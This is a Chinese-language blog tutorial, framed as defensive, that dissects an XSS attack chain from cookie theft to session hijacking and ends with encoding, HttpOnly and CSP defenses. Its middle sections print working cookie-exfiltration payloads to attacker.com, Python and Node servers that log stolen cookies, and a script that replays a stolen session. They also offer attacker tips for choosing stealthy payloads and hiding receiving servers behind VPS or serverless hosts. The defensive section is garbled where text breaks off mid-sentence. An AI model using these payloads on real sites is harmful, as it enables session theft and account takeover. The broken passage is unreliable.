XSS攻击链深度剖析:从Cookie窃取到会话劫持的攻防实战

📅 2026/7/4 14:11:18 👁️ 阅读次数 📝 编程学习
XSS攻击链深度剖析:从Cookie窃取到会话劫持的攻防实战

1. 项目概述:一次完整的Cookie窃取攻击链

在Web安全领域,XSS(跨站脚本攻击)就像一把悬在开发者头顶的达摩克利斯之剑。它不像SQL注入那样直接攻击数据库,也不像DDoS那样粗暴地耗尽资源,XSS的攻击路径更隐蔽、更“优雅”,它直接利用了用户对网站的信任,在用户的浏览器里执行恶意代码。而其中,Cookie窃取是XSS攻击最经典、也最具破坏性的目标之一。想象一下,攻击者不需要知道你的密码,只需要你点击一个链接,或者浏览一个被篡改的页面,你登录状态的“通行证”——Cookie,就被悄无声息地发送到了千里之外的服务器上。接下来,攻击者就可以用你的身份为所欲为:查看私密信息、进行资金操作、甚至以你的名义发布内容。

这篇文章,我将从一个防御者的视角出发,逆向拆解一次完整的、以窃取Cookie为目标的XSS攻击全链路。我不会教你如何攻击,但我会把攻击者的思路、手法、工具链以及他们可能遇到的“坑”,毫无保留地剖析给你看。只有彻底理解攻击是如何发生的,每一个环节是如何衔接的,我们才能在设计、开发和测试中,精准地布下防线,真正做到“别让用户代你受罚”。我们将从漏洞的发现与利用、攻击载荷的构造与投递、到数据的接收与处理,最后回归防御的本质,看看在每个环节我们该如何应对。

2. 攻击链第一步:漏洞的发现与利用点分析

任何攻击都始于一个突破口。对于XSS窃取Cookie而言,这个突破口就是一个能够注入并执行JavaScript代码的地方。攻击者像侦探一样,在网站上寻找所有用户输入可控且输出未被妥善处理的位置。

2.1 常见的XSS漏洞注入点排查

攻击者首先会进行“攻击面测绘”。他们不仅仅测试明显的输入框,而是审视所有将用户数据反射回页面的环节。根据我的经验,以下几个地方是高频风险区,也是我们自查时必须重点关注的:

  1. URL参数(反射型XSS):这是最经典的场景。例如,一个搜索功能,搜索关键词会显示在结果页面上:https://example.com/search?q=用户输入。如果q参数的值未经处理就直接拼接进HTML,攻击者就可以构造q=<script>alert(1)</script>进行测试。
  2. 表单提交与内容存储(存储型XSS):比反射型更危险,因为恶意代码会被保存到服务器数据库,影响所有后续访问者。典型场景包括:
    • 用户评论/留言:攻击者在评论框中输入恶意脚本。
    • 个人资料页(如昵称、签名):这些信息会在多个页面展示。
    • 文章/帖子内容:支持富文本编辑的地方,如果过滤不严,极易中招。
    • 文件上传功能:如果允许上传SVG、HTML等文件,且服务器未正确设置MIME类型或进行内容检查,攻击者可以上传一个包含脚本的恶意文件。
  3. DOM操作(DOM型XSS):这种漏洞的源头在客户端JavaScript代码本身。例如,前端JS从location.hashdocument.referrer或URL参数中获取数据,然后使用innerHTMLdocument.write()等不安全的方法写入页面。服务器端可能已经做了过滤,但客户端代码又亲手引入了风险。

实操心得:在漏洞挖掘阶段,攻击者不会只输入<script>alert(1)</script>。他们会尝试各种变体来绕过可能的过滤机制,比如大小写混淆、使用HTML实体编码、利用JavaScript事件(如onerroronload)、或者使用<svg><img>等非<script>标签来承载代码。例如,<img src=x onerror=alert(1)>就是一个经典的利用onerror事件的Payload。

2.2 判断漏洞是否可用于Cookie窃取

发现一个弹窗(alert(1))只是证明了漏洞的存在。要用于窃取Cookie,还需要满足几个关键条件,这也是攻击者会仔细验证的:

  1. Cookie的HttpOnly属性:这是防御Cookie窃取的第一道,也是最有效的防线。如果目标Cookie被标记为HttpOnly,那么客户端JavaScript(通过document.cookie)将无法读取它。攻击者在验证漏洞时,会首先检查通过当前页面脚本能否读取到有价值的会话Cookie。他们可以通过在Payload中尝试输出document.cookie来确认。
  2. 同源策略与Cookie作用域:JavaScript只能读取当前域(或父域,取决于Domain属性设置)下的Cookie。攻击者注入的脚本运行在受害网站的上下文中,因此通常可以读取该网站设置的Cookie。但如果网站将关键Cookie设置为更严格的路径(Path)或使用了Secure属性(仅限HTTPS),攻击者也需要在对应的条件下才能窃取。
  3. 输出上下文:用户输入被嵌入在页面的哪个位置?是在HTML标签内、属性里、还是JavaScript代码块中?不同的上下文需要构造不同的Payload。例如,在HTML属性中,可能需要提前闭合引号和标签;在<script>标签内部,则需要考虑JavaScript语法。一个能弹窗的Payload,未必能顺利地将Cookie数据发送出去。

攻击者确认漏洞可利用后,就会进入下一阶段:精心构造攻击载荷。

3. 攻击链第二步:恶意载荷的构造与投递

这是将理论漏洞转化为实际危害的核心环节。攻击者需要编写一段JavaScript代码(Payload),其核心功能是:读取Cookie -> 将Cookie数据发送到攻击者控制的服务器

3.1 经典Cookie外带Payload构造解析

发送数据到远程服务器,本质是发起一个HTTP请求。在浏览器环境中,有多种方式可以实现,各有优劣。

1. 使用Image对象(最隐蔽、兼容性最佳)这是我最推荐攻击者(也是防御者最应警惕)的方式,因为它极其隐蔽,且不受跨域限制。

new Image().src = 'http://attacker.com/steal?data=' + encodeURIComponent(document.cookie);
  • 原理:创建一个Image对象,并将其src属性设置为一个指向攻击者服务器的URL,并将Cookie作为查询参数附加。浏览器会尝试加载这个“图片”,从而向攻击者服务器发起一个GET请求。
  • 优势
    • 无跨域问题:加载图片是允许跨域的。
    • 异步且不阻塞:不会影响页面正常流程。
    • 无视觉影响:如果图片加载失败(大概率会失败),通常只会在控制台产生一个404错误,普通用户根本察觉不到。
    • 兼容性极好:所有浏览器都支持。
  • 攻击者注意事项:URL长度有限制,如果Cookie很长,可能需要分片发送。务必使用encodeURIComponent对Cookie进行编码,避免特殊字符(如&=)破坏URL结构。

2. 使用fetchXMLHttpRequest(XHR)这种方式更灵活,可以发送POST请求,携带更多数据。

// 使用 fetch API (现代) fetch('http://attacker.com/steal', { method: 'POST', mode: 'no-cors', // 避免CORS预检请求 headers: {'Content-Type': 'application/x-www-form-urlencoded'}, body: 'cookie=' + encodeURIComponent(document.cookie) }); // 使用 XMLHttpRequest (兼容旧浏览器) var xhr = new XMLHttpRequest(); xhr.open('POST', 'http://attacker.com/steal', true); xhr.setRequestHeader('Content-Type', 'application/x-www-form-urlencoded'); xhr.send('cookie=' + encodeURIComponent(document.cookie));
  • 优势:可以发送POST请求,数据放在请求体中,更隐蔽,且不受URL长度限制。
  • 劣势:可能触发浏览器的CORS(跨源资源共享)预检请求。如果攻击者服务器未正确配置CORS响应头,请求可能会被浏览器阻止。使用mode: 'no-cors'可以发送简单请求,但无法读取响应,不过这对于只发送数据的窃取场景来说足够了。

3. 使用window.location<iframe>(会导致页面跳转或加载)

window.location = 'http://attacker.com/steal?cookie=' + encodeURIComponent(document.cookie);
  • 原理:直接修改当前窗口或iframe的地址,导航到攻击者服务器。
  • 劣势非常明显!会导致用户浏览器页面跳转到一个陌生地址,极易引起受害者警觉。通常只在攻击者不关心隐蔽性,或结合社工手段(如伪装成登录页面)时使用。

4. 利用表单自动提交构造一个隐藏的表单,用JavaScript自动提交。

<script> var form = document.createElement('form'); form.action = 'http://attacker.com/steal'; form.method = 'POST'; var input = document.createElement('input'); input.type = 'hidden'; input.name = 'cookie'; input.value = document.cookie; form.appendChild(input); document.body.appendChild(form); form.submit(); </script>
  • 优势:可以发送POST请求,且能模拟用户交互。
  • 劣势:同样会导致页面跳转(表单提交后的跳转)。

避坑指南(攻击者视角):在实际攻击中,我强烈推荐使用Image对象方案。它几乎不会失败,也最安静。使用fetch/XHR时,务必注意CORS问题,一个配置不当的接收服务器会让你收不到任何数据。永远不要依赖alert()console.log()来调试攻击Payload,因为那会在受害者浏览器上显示,暴露攻击行为。应该在本地或可控环境搭建一个模拟的漏洞靶场进行充分测试。

3.2 载荷的投递:如何让用户“踩坑”

构造好Payload后,如何让它到达受害者的浏览器并执行?

  1. 存储型XSS:攻击者只需将Payload提交到存在漏洞的存储点(如评论、昵称)。之后,所有浏览该页面的用户都会自动中招。这是最“省事”也最持久的方式。
  2. 反射型XSS:需要诱导用户点击一个精心构造的链接。这通常结合钓鱼邮件、社交媒体消息、论坛帖子等进行传播。链接会被伪装成看起来可信的样子,例如利用短域名服务隐藏长串参数,或者利用网站的信任度(如https://trusted-site.com/search?q=<恶意代码>)。
  3. DOM型XSS:投递方式与反射型类似,也需要用户点击链接。但由于漏洞在客户端,Payload可能隐藏在URL的片段标识符(#后面)中,这部分数据不会发送到服务器,因此某些服务端的WAF(Web应用防火墙)可能无法检测。

攻击链的前两步(发现漏洞、构造并投递载荷)完成后,攻击者就进入了“守株待兔”的阶段,需要搭建一个服务器来接收窃取到的数据。

4. 攻击链第三步:搭建数据接收端(攻击服务器)

攻击者窃取的Cookie数据需要发送到一个自己能控制的服务器上。这个服务器通常被称为“外带服务器”、“接收服务器”或“攻击服务器”。它的任务很简单:监听特定端口,接收HTTP请求,并记录请求中的Cookie参数。

4.1 简易HTTP服务器搭建方案对比

对于攻击者来说,这个服务器要求快速搭建、易于部署、且日志清晰。以下是几种常见方案:

方案一:使用Python的http.server模块(最快上手)这是最快捷的方式,适合临时测试或概念验证。

# Python 3 python3 -m http.server 8080 # Python 2 python2 -m SimpleHTTPServer 8080
  • 优点:一行命令启动,无需编写代码。默认会提供当前目录的文件列表服务,并且会记录所有访问日志(包括GET请求的完整URL)到控制台。
  • 缺点:功能单一,无法灵活处理请求。所有请求(包括我们关心的带Cookie的请求和浏览器自动请求的favicon.ico等)都会打印出来,需要手动筛选。不适合长时间或高频率接收数据。

方案二:使用Pythonsocket库编写定制化接收脚本(推荐)这是更专业、更可控的做法。你可以编写一个简单的Python脚本,只监听特定路径的请求,并清晰地将Cookie数据提取并保存下来。

#!/usr/bin/env python3 import socket from urllib.parse import urlparse, parse_qs HOST = '0.0.0.0' # 监听所有网络接口 PORT = 9999 def start_server(): with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as server_socket: server_socket.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1) server_socket.bind((HOST, PORT)) server_socket.listen(5) print(f"[*] 监听 {HOST}:{PORT}") while True: client_socket, addr = server_socket.accept() print(f"[+] 接收到来自 {addr} 的连接") try: request = client_socket.recv(1024).decode('utf-8', errors='ignore') if not request: continue # 解析HTTP请求的第一行(请求行) request_line = request.splitlines()[0] if request.splitlines() else '' method, path, _ = request_line.split() if ' ' in request_line else ('', '', '') print(f" 请求: {method} {path}") # 从路径中解析查询参数(对应Image.src的GET请求) parsed_path = urlparse(path) query_params = parse_qs(parsed_path.query) if 'cookie' in query_params: stolen_cookie = query_params['cookie'][0] print(f"[!!!] 窃取到Cookie: {stolen_cookie}") # 可以在这里将cookie写入文件 with open('stolen_cookies.log', 'a') as f: f.write(f"{addr[0]} - {stolen_cookie}\n") # 发送一个简单的HTTP响应,避免浏览器一直转圈 response = b'HTTP/1.1 200 OK\r\nContent-Length: 0\r\n\r\n' client_socket.sendall(response) except Exception as e: print(f"[-] 处理请求时出错: {e}") finally: client_socket.close() if __name__ == '__main__': start_server()
  • 优点
    • 高度可控:可以精确解析请求,只提取我们关心的数据(如URL中的cookie参数)。
    • 易于扩展:可以轻松添加功能,如将数据保存到数据库、实时通知攻击者(如通过Telegram Bot)等。
    • 隐蔽性稍好:可以返回一个正常的HTTP响应(如200 OK),甚至返回一个1x1像素的透明GIF图片,让请求看起来更“正常”。
  • 缺点:需要基本的编程能力。

方案三:使用Node.js、PHP或Go编写原理类似,选择自己熟悉的语言即可。例如,一个简单的Node.js + Express服务器:

const express = require('express'); const app = express(); const PORT = 3000; app.get('/steal', (req, res) => { const cookie = req.query.cookie; const ip = req.ip; console.log(`[!] 来自 ${ip} 的Cookie: ${cookie}`); // 保存到文件或数据库 res.sendStatus(200); // 返回成功状态 }); app.listen(PORT, () => { console.log(`接收服务器运行在 http://0.0.0.0:${PORT}`); });

实操心得:在真实网络环境中,攻击者通常不会用自己的个人电脑或家庭IP直接作为接收服务器,这太容易被追踪。他们会使用:

  1. VPS(虚拟专用服务器):租用海外VPS,使用临时域名或直接IP。
  2. 云函数/Serverless服务:如AWS Lambda、Google Cloud Functions,无需管理服务器,按需执行,且IP地址属于云厂商,隐蔽性较好。
  3. 利用第三方网站:寻找存在开放重定向漏洞的知名网站,将窃取请求“跳转”到自己的服务器,增加迷惑性。或者,将数据编码后隐藏在向正常网站(如统计平台、日志服务)发起的请求参数中,实现“数据外带”。
  4. 域名与HTTPS:为接收服务器配置一个看起来无害的域名(如api.mydata-analytics.com)并启用HTTPS。这是因为现代浏览器对混合内容(HTTP页面发起HTTPS请求)或有安全限制的页面(如HTTPS页面)向HTTP地址发送请求会有警告或阻止,使用HTTPS能提高成功率。

4.2 网络与防火墙考量

攻击者的接收服务器需要能被受害者访问到。这意味着:

  • 公网IP:服务器必须有一个公网IP地址。
  • 端口开放:服务器防火墙和安全组规则必须允许外部访问监听的端口(如8080, 9999)。
  • NAT/路由器穿透:如果服务器在局域网内,需要在路由器上设置端口转发。

一个常见的“坑”是云服务商(如AWS、阿里云、腾讯云)的安全组。即使你的VPS系统防火墙(iptables/firewalld)已经放行了端口,如果云平台控制台里的安全组规则没有相应配置,请求依然无法到达。攻击者在部署后,一定会用另一台机器curl一下自己的服务器地址进行验证。

至此,攻击链的“发射端”(恶意脚本)和“接收端”(服务器)都已就绪。一旦受害者触发漏洞,Cookie就会自动飞向攻击者。

5. 攻击链第四步:从Cookie到会话劫持

收到Cookie只是第一步,攻击者的最终目的是冒充受害者身份。这个过程称为会话劫持。

5.1 Cookie的“使用手册”

攻击者拿到的一串Cookie,通常长这样:sessionid=abc123def456; username=john_doe; csrftoken=xyz789

他们需要理解每个字段的含义:

  • sessionid:这通常是最有价值的令牌。服务器用它来识别用户会话。有了它,攻击者就拥有了受害者的登录状态。
  • username,userid:标识信息,但通常不能单独用于认证。
  • csrftoken:跨站请求伪造令牌,用于防御CSRF攻击。在某些情况下,发起敏感操作(如修改密码、转账)时可能需要这个token,但单纯的浏览数据可能不需要。

5.2 实施会话劫持的两种方式

方式一:浏览器插件手动替换(最简单)攻击者可以使用浏览器插件(如EditThisCookie, Cookie-Editor)或开发者工具(Application -> Storage -> Cookies)。

  1. 访问目标网站(如https://victim.com)。
  2. 打开开发者工具,找到对应域的Cookies。
  3. sessionid等关键Cookie的值,修改为窃取到的值。
  4. 刷新页面。如果成功,攻击者就会以受害者的身份登录。

方式二:编写自动化脚本(批量或隐蔽操作)对于攻击者而言,手动操作效率太低。他们通常会编写脚本,使用像curlPython requests库或Puppeteer/Selenium这样的浏览器自动化工具。

import requests # 设置请求头,携带窃取的Cookie headers = { 'User-Agent': 'Mozilla/5.0 ...', 'Cookie': 'sessionid=abc123def456; csrftoken=xyz789' # 这里替换成窃取的Cookie } # 访问需要认证的页面 response = requests.get('https://victim.com/user/profile', headers=headers) if 'Welcome, John' in response.text: # 检查页面内容确认登录成功 print("[+] 会话劫持成功!") # 接下来可以执行任意操作,如爬取私密数据、发送消息、进行交易等。 # 例如:修改邮箱 # data = {'new_email': 'attacker@evil.com'} # requests.post('https://victim.com/settings/email', headers=headers, data=data) else: print("[-] 劫持失败,Cookie可能已过期或无效。")

使用Puppeteer这样的无头浏览器工具可以更好地模拟真人操作,绕过一些基于客户端行为的反爬或风控机制。

5.3 会话的持久性与失效

攻击者并非一劳永逸:

  • 会话过期:服务器端的会话有有效期。如果用户长时间不活动或主动登出,会话失效,Cookie也就没用了。
  • 密码修改/登出:受害者如果修改密码或主动登出,当前会话通常会被服务器立即使所有令牌失效。
  • IP绑定/设备指纹:一些安全意识较强的应用会将会话与首次登录的IP地址或设备指纹绑定。如果攻击者从完全不同的网络环境访问,会话可能会被拒绝或要求二次验证。
  • Cookie刷新:有些应用采用滚动过期策略,用户每次活动都会刷新Cookie的过期时间。攻击者如果持续活动,可能会延长会话寿命。

因此,攻击者在得手后,往往会迅速行动,在最短时间内完成敏感操作(如查看通讯录、导出数据、修改账户绑定信息等)。

6. 防御视角:如何斩断这条攻击链

理解了完整的攻击链,防御就变得有章可循。我们需要在每一个环节设置障碍。

6.1 输入处理:消毒与净化

这是最根本的防御,确保用户输入的数据在输出到页面时是“干净”的。

  • 原则对输出进行编码,而非对输入进行过滤。根据数据将要放置的上下文,选择正确的编码方式。
  • HTML内容上下文:使用HTML实体编码。将<转成&lt;>转成&gt;&转成&amp;"转成&quot;'转成&#x27;
    • 前端库:如React、Vue、Angular等现代框架,默认会对动态绑定到模板的数据进行转义。
    • 后端模板引擎:如Jinja2 (Python)、Thymeleaf (Java)、Go templates等,通常使用{{ variable }}语法会自动转义。但务必警惕|safe过滤器或v-html这样的指令,它们会关闭转义。
  • HTML属性上下文:除了上述编码,永远用引号(单引号或双引号)包裹属性值。避免将用户输入直接放在onclickhrefsrc等事件或URL属性中,如果必须,需要进行严格的URL编码和验证。
  • JavaScript上下文:这是最棘手的。绝对不要将用户输入直接拼接进<script>标签或事件处理程序中。应该:
    1. 将数据放在HTML的>Set-Cookie: sessionid=abc123; HttpOnly; Secure; SameSite=Strict
    2. Content-Security-Policy(CSP):这是防御XSS的终极武器。通过白名单机制,告诉浏览器只允许加载和执行来自哪些源的脚本、样式、图片等。一个严格的CSP可以完全阻止内联脚本(包括XSS Payload)的执行。
      Content-Security-Policy: default-src 'self'; script-src 'self' https://trusted.cdn.com; object-src 'none';
      • default-src 'self':默认只允许同源资源。
      • script-src 'self' ...:只允许执行来自同源和指定CDN的脚本。注意:这也会阻止你页面中所有内联的<script>标签和onclick等事件,需要将内联脚本移出或使用nonce/hash机制。
    3. X-XSS-Protection:虽然现代浏览器已废弃此头,但对于旧浏览器仍有一定作用,可设置为0来禁用有问题的过滤模式,或设置为1; mode=block
    4. X-Content-Type-Options: nosniff:阻止浏览器MIME类型嗅探,降低某些基于文件上传的XSS风险。
    5. Referrer-Policy:控制Referrer信息的发送,减少从URL泄露敏感参数的风险。

6.3 其他纵深防御措施

  • 输入验证与白名单:在业务允许的范围内,对输入格式进行严格校验。例如,用户名只允许字母数字,邮箱必须符合格式等。使用白名单(允许哪些字符)而非黑名单(禁止哪些字符)。
  • 输出编码库:使用成熟的库进行编码,如OWASP ESAPI、DOMPurify(用于客户端净化HTML)。
  • 定期安全测试与代码审计:将XSS漏洞扫描纳入CI/CD流程,使用工具(如OWASP ZAP, Burp Suite)进行自动化扫描,并辅以人工代码审计。
  • 安全意识培训:让开发人员深刻理解XSS的原理与危害,在代码审查中重点关注数据流问题。

防御是一个系统工程,没有一劳永逸的解决方案。但通过输出编码、设置HttpOnly、部署严格的CSP这三板斧,已经可以抵御绝大多数XSS攻击。剩下的,就是保持警惕,持续跟进新的攻击手法和防御技术。毕竟,安全是一场攻防双方永无止境的博弈。理解攻击链,是我们构筑有效防御工事的第一步,也是最关键的一步。